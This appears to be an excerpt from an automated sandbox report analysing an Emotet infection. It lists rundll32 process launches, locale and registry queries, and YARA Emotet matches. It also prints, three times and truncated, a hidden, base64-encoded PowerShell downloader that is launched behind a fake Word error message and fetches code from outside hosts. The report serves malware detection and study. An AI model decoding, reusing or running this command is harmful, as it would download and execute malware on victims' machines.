Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zgwl\aiycp.wss',RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Cqxs\necppp.cgm',RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Oxpl\fwcrxow.muo',RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pnjy\rwrr.fge',RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qaqt\yasnhb.kgm',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hudb\deul.ebq',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ohxf\pnwx.dib',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Jpux\rkm.xqv',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Oxtv\rmjj.sjq',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pwzo\iducd.mjn',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gfwk\bavnhqr.pvy',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dbsb\hxixh.nee',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yvvm\ving.mzt',RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Puve\yoqqjfh.eoi',RunDLL
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnA
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAK
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAK Jump to behavior

Language, Device and Operating System Detection:

barindex
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA, 7_2_10010000
Source: C:\Windows\SysWOW64\rundll32.exe Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA, 7_2_10011C13
Source: C:\Windows\SysWOW64\rundll32.exe Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement, 7_2_1001106A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: __getptd,_LcidFromHexString,GetLocaleInfoA, 7_2_10011874
Source: C:\Windows\SysWOW64\rundll32.exe Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA, 7_2_10011C7A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itoa_s, 7_2_10011CB6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,_strlen, 7_2_1001190C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage, 7_2_10011980
Source: C:\Windows\SysWOW64\rundll32.exe Code function: _LocaleUpdate::_LocaleUpdate,GetLocaleInfoW, 7_2_10013DAF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l, 7_2_10014DB7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,__alloca_probe_16,_malloc,GetLocaleInfoW,WideCharToMultiByte,GetLocaleInfoA, 7_2_10013DE3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo, 7_2_100109FC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement, 7_2_10009A59
Source: C:\Windows\SysWOW64\rundll32.exe Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,InterlockedDecrement,InterlockedDecrement, 7_2_100112C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA, 7_2_10014F07
Source: C:\Windows\SysWOW64\rundll32.exe Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat, 7_2_10013F22
Source: C:\Windows\SysWOW64\rundll32.exe Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoW, 7_2_1000C727
Source: C:\Windows\SysWOW64\rundll32.exe Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage, 7_2_10011B52
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA,GetLocaleInfoA,GetACP, 7_2_1001175D
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000E372 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter, 7_2_1000E372
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected Emotet
Source: Yara match File source: 0000000D.00000002.2107396520.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2110398368.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2116797461.0000000000241000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2096970876.00000000002C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2115599459.00000000001D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2117982629.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2109063945.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.2119357685.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.2119622142.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2111825774.00000000006B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2106262075.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2099926310.00000000001F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2096914563.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2101765881.0000000000380000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2340256128.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2116722634.00000000001D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2114509777.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2106324425.00000000001B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2107481721.0000000000271000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2102126340.00000000003A1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2109311078.00000000002C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2098614058.0000000000690000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2115515890.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2110449108.00000000001C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2340299348.0000000000231000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2111379658.0000000000150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2104432048.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2112781358.0000000000150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2113001666.0000000000231000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2098670665.00000000006B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2114590514.00000000002A1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2099888213.00000000001D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2104402194.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2118123404.0000000000201000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 19.2.rundll32.exe.1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.rundll32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.2c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.1b0000.1.unpack, type: UNPACKEDPE
